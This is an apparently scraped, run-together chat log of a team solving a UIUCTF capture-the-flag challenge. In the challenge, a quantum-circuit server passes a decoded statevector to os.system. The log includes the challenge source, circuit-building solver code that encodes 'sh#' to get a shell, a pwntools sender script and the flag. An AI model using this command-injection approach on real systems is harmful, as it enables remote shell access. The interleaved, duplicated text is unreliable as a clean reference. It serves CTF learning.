nc schrodingers-cat.chal.uiuc.tf 1337
author: George
Files:Tags: No tags.$ nc schrodingers-cat.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Hello, world!
Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!
┌─────────────────┐┌───────────────────────┐
q_0: ┤0 ├┤0 ├
│ ││ │
q_1: ┤1 ├┤1 ├
│ ││ │
q_2: ┤2 Your Circ Here ├┤2 echo 'Hello, world!' ├
│ ││ │
q_3: ┤3 ├┤3 ├
│ ││ │
q_4: ┤4 ├┤4 ├
└─────────────────┘└───────────────────────┘
Normalization constant: 419.1873089681986
Executing...
Please type your OpenQASM circuit as a base64 encoded string:#!/usr/bin/env python3
from os import system
from base64 import b64decode
import numpy as np
from qiskit import QuantumCircuit
import qiskit.quantum_info as qi
from qiskit.circuit.library import StatePreparation
WIRES = 5
def normalization(msg):
assert(len(msg) <= WIRES**2)
state = np.array([ord(c) for c in msg.ljust(2**WIRES, ' ')])
norm = np.linalg.norm(state)
state = state / norm
return (state, norm)
def transform(sv, n):
legal = lambda c: ord(' ') <= c and c <= ord('~')
renormalized = [float(i.real)*n for i in sv]
rn_rounded = [round(i) for i in renormalized]
if not np.allclose(renormalized, rn_rounded, rtol=0, atol=1e-2):
print("Your rehydrated statevector isn't very precise. Try adding at least 6 decimal places of precision, or contact the challenge author if you think this is a mistake.")
print(rn_rounded)
exit(0)
if np.any([not legal(c) for c in rn_rounded]):
print("Invalid ASCII characters.")
exit(0)
return ''.join([chr(n) for n in rn_rounded])
def make_circ(sv, circ):
qc = QuantumCircuit(WIRES)
qc.append(circ.to_instruction(), range(WIRES))
sp = QuantumCircuit(WIRES, name="echo 'Hello, world!'")
sp.append(StatePreparation(sv), range(WIRES))
qc.append(sp.to_instruction(), range(WIRES))
return qc
def print_given(sv, n):
placeholder = QuantumCircuit(WIRES, name="Your Circ Here")
placeholder.i(0)
circ = make_circ(sv, placeholder)
print(circ.draw(style={
"displaytext": {
"state_preparation": "<>"
}
}))
new_sv = qi.Statevector.from_instruction(circ)
print(f'Normalization constant: {n}')
print("\nExecuting...\n")
system(transform(new_sv, n))
def main():
print("Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!")
given_sv, given_n = normalization("echo 'Hello, world!'")
print_given(given_sv, given_n)
try:
qasm_str = b64decode(input("\nPlease type your OpenQASM circuit as a base64 encoded string: ")).decode()
except:
print("Error decoding b64!")
exit(0)
try:
circ = QuantumCircuit.from_qasm_str(qasm_str)
circ.remove_final_measurements(inplace=True)
except:
print("Error processing OpenQASM file! Try decomposing your circuit into basis gates using `transpile`.")
exit(0)
if circ.num_qubits != WIRES:
print(f"Your quantum circuit acts on {circ.num_qubits} instead of {WIRES} qubits!")
exit(0)
try:
norm = float(input("Please enter your normalization constant (precision matters!): "))
except:
print("Error processing normalization constant!")
exit(0)
try:
sv_circ = make_circ(given_sv, circ)
except:
print("Circuit runtime error!")
exit(0)
print(sv_circ.draw())
command = transform(qi.Statevector.from_instruction(sv_circ), norm)
print("\nExecuting...\n")
system(command)
if __name__ == "__main__":
main()given_sv, given_n = normalization("echo 'Hello, world!'")
...
sv_circ = make_circ(given_sv, circ)$ nc schrodingers-cat.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Hello, world!
Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!
┌─────────────────┐┌───────────────────────┐
q_0: ┤0 ├┤0 ├
│ ││ │
q_1: ┤1 ├┤1 ├
│ ││ │
q_2: ┤2 Your Circ Here ├┤2 echo 'Hello, world!' ├
│ ││ │
q_3: ┤3 ├┤3 ├
│ ││ │
q_4: ┤4 ├┤4 ├
└─────────────────┘└───────────────────────┘
Normalization constant: 419.1873089681986
Executing...
Please type your OpenQASM circuit as a base64 encoded string: echo 'Hello, World' will have the statevector (sv) from the final sv of your circ, not vice versashdef normalization(msg):
assert(len(msg) <= WIRES**2)
state = np.array([ord(c) for c in msg.ljust(2**WIRES, ' ')])
norm = np.linalg.norm(state)
state = state / norm
return (state, norm) we know the msg, and hence the state and norm?$ nc schrodingers-cat.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Hello, world!
Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!
┌─────────────────┐┌───────────────────────┐
q_0: ┤0 ├┤0 ├
│ ││ │
q_1: ┤1 ├┤1 ├
│ ││ │
q_2: ┤2 Your Circ Here ├┤2 echo 'Hello, world!' ├
│ ││ │
q_3: ┤3 ├┤3 ├
│ ││ │
q_4: ┤4 ├┤4 ├
└─────────────────┘└───────────────────────┘
Normalization constant: 419.1873089681986
Executing...
Please type your OpenQASM circuit as a base64 encoded string: "hello world"echo 'Hello, world!' (edited)array([0.24094241, 0.23617127, 0.24809911, 0.26479809, 0.07633819,
0.09303717, 0.17176093, 0.24094241, 0.25764139, 0.25764139,
0.26479809, 0.10496501, 0.07633819, 0.28388264, 0.26479809,
0.2719548 , 0.25764139, 0.23855684, 0.07872376, 0.09303717,
0.07633819, 0.07633819, 0.07633819, 0.07633819, 0.07633819,
0.07633819, 0.07633819, 0.07633819, 0.07633819, 0.07633819,
0.07633819, 0.07633819]) (edited)sh#!/usr/bin/env python3
from os import system
from base64 import b64decode
import numpy as np
from qiskit import QuantumCircuit
import qiskit.quantum_info as qi
from qiskit.circuit.library import StatePreparation
WIRES = 5
def normalization(msg):
assert(len(msg) <= WIRES**2)
state = np.array([ord(c) for c in msg.ljust(2**WIRES, ' ')])
norm = np.linalg.norm(state)
state = state / norm
return (state, norm)
def transform(sv, n):
legal = lambda c: ord(' ') <= c and c <= ord('~')
renormalized = [float(i.real)*n for i in sv]
rn_rounded = [round(i) for i in renormalized]
if not np.allclose(renormalized, rn_rounded, rtol=0, atol=1e-2):
print("Your rehydrated statevector isn't very precise. Try adding at least 6 decimal places of precision, or contact the challenge author if you think this is a mistake.")
print(rn_rounded)
exit(0)
if np.any([not legal(c) for c in rn_rounded]):
print("Invalid ASCII characters.")
exit(0)
return ''.join([chr(n) for n in rn_rounded])
def make_circ(sv, circ):
qc = QuantumCircuit(WIRES)
qc.append(circ.to_instruction(), range(WIRES))
sp = QuantumCircuit(WIRES, name="echo 'Hello, world!'")
sp.append(StatePreparation(sv), range(WIRES))
qc.append(sp.to_instruction(), range(WIRES))
return qc
def print_given(sv, n):
placeholder = QuantumCircuit(WIRES, name="Your Circ Here")
placeholder.i(0)
circ = make_circ(sv, placeholder)
print(circ.draw(style={
"displaytext": {
"state_preparation": "<>"
}
}))
new_sv = qi.Statevector.from_instruction(circ)
print(f'Normalization constant: {n}')
print("\nExecuting...\n")
system(transform(new_sv, n))
def main():
print("Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!")
given_sv, given_n = normalization("echo 'Hello, world!'")
print_given(given_sv, given_n)
try:
qasm_str = b64decode(input("\nPlease type your OpenQASM circuit as a base64 encoded string: ")).decode()
except:
print("Error decoding b64!")
exit(0)
try:
circ = QuantumCircuit.from_qasm_str(qasm_str)
circ.remove_final_measurements(inplace=True)
except:
print("Error processing OpenQASM file! Try decomposing your circuit into basis gates using `transpile`.")
exit(0)
if circ.num_qubits != WIRES:
print(f"Your quantum circuit acts on {circ.num_qubits} instead of {WIRES} qubits!")
exit(0)
try:
norm = float(input("Please enter your normalization constant (precision matters!): "))
except:
print("Error processing normalization constant!")
exit(0)
try:
sv_circ = make_circ(given_sv, circ)
except:
print("Circuit runtime error!")
exit(0)
print(sv_circ.draw())
command = transform(qi.Statevector.from_instruction(sv_circ), norm)
print("\nExecuting...\n")
system(command)
if __name__ == "__main__":
main() given_n isnt used after print_given(given_sv, given_n) rightarray([115, 104, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 32, 32, 32, 32, 32]); would work tooarray([115, 104, 35, idgaf....]) new target igsh#) (edited)sh# is much easier than sh, but we still need everything to be in the ascii rangeOPENQASM 2.0;
include "qelib1.inc";
qreg q[1];
creg c[1];
h q[0];
measure q[0] -> c[0];
h q[0];if circ.num_qubits != WIRES ┌─┐
q_0: ┤M├────────────
└╥┘┌─┐
q_1: ─╫─┤M├─────────
║ └╥┘┌─┐
q_2: ─╫──╫─┤M├──────
║ ║ └╥┘┌─┐
q_3: ─╫──╫──╫─┤M├───
║ ║ ║ └╥┘┌─┐
q_4: ─╫──╫──╫──╫─┤M├
║ ║ ║ ║ └╥┘
c: 1/═╩══╩══╩══╩══╩═
0 0 0 0 0 >>> circ = QuantumCircuit(WIRES)
>>> circ.measure_all()
>>> circ.draw()
░ ┌─┐
q_0: ─░─┤M├────────────
░ └╥┘┌─┐
q_1: ─░──╫─┤M├─────────
░ ║ └╥┘┌─┐
q_2: ─░──╫──╫─┤M├──────
░ ║ ║ └╥┘┌─┐
q_3: ─░──╫──╫──╫─┤M├───
░ ║ ║ ║ └╥┘┌─┐
q_4: ─░──╫──╫──╫──╫─┤M├
░ ║ ║ ║ ║ └╥┘
meas: 5/════╩══╩══╩══╩══╩═
0 1 2 3 4
>>> smthng like this maybe>>> circ = QuantumCircuit(WIRES)
>>> circ.measure_all()
>>> circ.draw()
░ ┌─┐
q_0: ─░─┤M├────────────
░ └╥┘┌─┐
q_1: ─░──╫─┤M├─────────
░ ║ └╥┘┌─┐
q_2: ─░──╫──╫─┤M├──────
░ ║ ║ └╥┘┌─┐
q_3: ─░──╫──╫──╫─┤M├───
░ ║ ║ ║ └╥┘┌─┐
q_4: ─░──╫──╫──╫──╫─┤M├
░ ║ ║ ║ ║ └╥┘
meas: 5/════╩══╩══╩══╩══╩═
0 1 2 3 4
>>> smthng like this maybe reset?[0,0]$ nc schrodingers-cat.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Hello, world!
Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!
┌─────────────────┐┌───────────────────────┐
q_0: ┤0 ├┤0 ├
│ ││ │
q_1: ┤1 ├┤1 ├
│ ││ │
q_2: ┤2 Your Circ Here ├┤2 echo 'Hello, world!' ├
│ ││ │
q_3: ┤3 ├┤3 ├
│ ││ │
q_4: ┤4 ├┤4 ├
└─────────────────┘└───────────────────────┘
Normalization constant: 419.1873089681986
Executing...
Please type your OpenQASM circuit as a base64 encoded string: qi.Operator to create a custom gate that does thatc = QuantumCircuit(5)
c.prepare_state(sv, c.qubits)
r = c.reverse_ops()>>> qi.Statevector.from_instruction(make_circ(sv, r2))
Statevector([ 4.28352340e-05+0.j, 2.14154752e-03+0.j, 6.62748517e-04+0.j,
-2.93891389e-02+0.j, -2.41863750e-03+0.j, 2.73279121e-02+0.j,
9.16630608e-03+0.j, -5.82482281e-02+0.j, 9.54416919e-05+0.j,
9.54416919e-03+0.j, 4.52009584e-02+0.j, 1.01763150e-01+0.j,
4.52047920e-02+0.j, -8.03047345e-02+0.j, -1.86999633e-03+0.j,
5.61073698e-01+0.j, 2.07398158e-03+0.j, 4.27799850e-02+0.j,
-7.10493666e-03+0.j, 9.69662378e-02+0.j, -5.54573217e-05+0.j,
-5.54573217e-03+0.j, 1.52421726e-03+0.j, 1.52421726e-01+0.j,
-6.06735492e-05+0.j, -6.06735492e-03+0.j, 1.66758271e-03+0.j,
1.66758271e-01+0.j, -2.80856987e-04+0.j, -2.80856987e-02+0.j,
7.71921638e-03+0.j, 7.71921638e-01+0.j],
dims=(2, 2, 2, 2, 2))
>>>>>> qi.Statevector.from_instruction(make_circ(sv, r2))
Statevector([ 4.28352340e-05+0.j, 2.14154752e-03+0.j, 6.62748517e-04+0.j,
-2.93891389e-02+0.j, -2.41863750e-03+0.j, 2.73279121e-02+0.j,
9.16630608e-03+0.j, -5.82482281e-02+0.j, 9.54416919e-05+0.j,
9.54416919e-03+0.j, 4.52009584e-02+0.j, 1.01763150e-01+0.j,
4.52047920e-02+0.j, -8.03047345e-02+0.j, -1.86999633e-03+0.j,
5.61073698e-01+0.j, 2.07398158e-03+0.j, 4.27799850e-02+0.j,
-7.10493666e-03+0.j, 9.69662378e-02+0.j, -5.54573217e-05+0.j,
-5.54573217e-03+0.j, 1.52421726e-03+0.j, 1.52421726e-01+0.j,
-6.06735492e-05+0.j, -6.06735492e-03+0.j, 1.66758271e-03+0.j,
1.66758271e-01+0.j, -2.80856987e-04+0.j, -2.80856987e-02+0.j,
7.71921638e-03+0.j, 7.71921638e-01+0.j],
dims=(2, 2, 2, 2, 2))
>>> from os import system
from base64 import b64decode
import numpy as np
from qiskit import QuantumCircuit
import qiskit.quantum_info as qi
from qiskit.circuit.library import StatePreparation
def normalization(msg):
assert(len(msg) <= WIRES**2)
state = np.array([ord(c) for c in msg.ljust(2**WIRES, ' ')])
norm = np.linalg.norm(state)
state = state / norm
return (state, norm)
def make_circ(sv, circ):
qc = QuantumCircuit(WIRES)
qc.append(circ.to_instruction(), range(WIRES))
sp = QuantumCircuit(WIRES, name="echo 'Hello, world!'")
sp.append(StatePreparation(sv), range(WIRES))
qc.append(sp.to_instruction(), range(WIRES))
return qc
def reduce(given_sv):
c = QuantumCircuit(WIRES)
c.prepare_state(given_sv, range(5))
c.qasm() # caching so reverse_ops has decent naming
r = c.reverse_ops().copy()
r.name = 'reverse_given_sv'
return r
WIRES = 5
given_sv, _ = normalization("echo 'Hello, world!'")
r = reduce(given_sv)
target_sv, n = normalization("sh#") # comment to avoid rand chars at end. ; would also work
# add target statevector to circuit
#qc = make_circ(target_sv, r)
#qc.draw()
qc = QuantumCircuit(WIRES)
sp = QuantumCircuit(WIRES, name="payload")
sp.prepare_state(target_sv, range(WIRES))
qc.append(sp.copy(), range(WIRES))
qc.append(r.to_instruction(), range(WIRES))
qc.draw()
res = make_circ(given_sv, qc)
res_sv = qi.Statevector.from_instruction(res)reverse_ops, not invert234.4397577204003qreg q[5];??????????///$ nc schrodingers-cat.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Hello, world!
Welcome to the Quantum Secure Shell. Instead of dealing with pesky encryption, just embed your commands into our quantum computer! I batched the next command in with yours, hope you're ok with that!
┌─────────────────┐┌───────────────────────┐
q_0: ┤0 ├┤0 ├
│ ││ │
q_1: ┤1 ├┤1 ├
│ ││ │
q_2: ┤2 Your Circ Here ├┤2 echo 'Hello, world!' ├
│ ││ │
q_3: ┤3 ├┤3 ├
│ ││ │
q_4: ┤4 ├┤4 ├
└─────────────────┘└───────────────────────┘
Normalization constant: 419.1873089681986
Executing...
Please type your OpenQASM circuit as a base64 encoded string: from pwn import *
from base64 import b64encode
data = open("message.txt", "rb").read()
data = b64encode(data)
io = remote("schrodingers-cat.chal.uiuc.tf", 1337)
io.recvuntil(b"encoded string:")
io.sendline(data)
io.interactive()234.4397577204003sh# not valid bash?sh#sh# can be executedsh easilysh uiuctf{f3yn_m4n_h3r32_j00r_fL49}sh?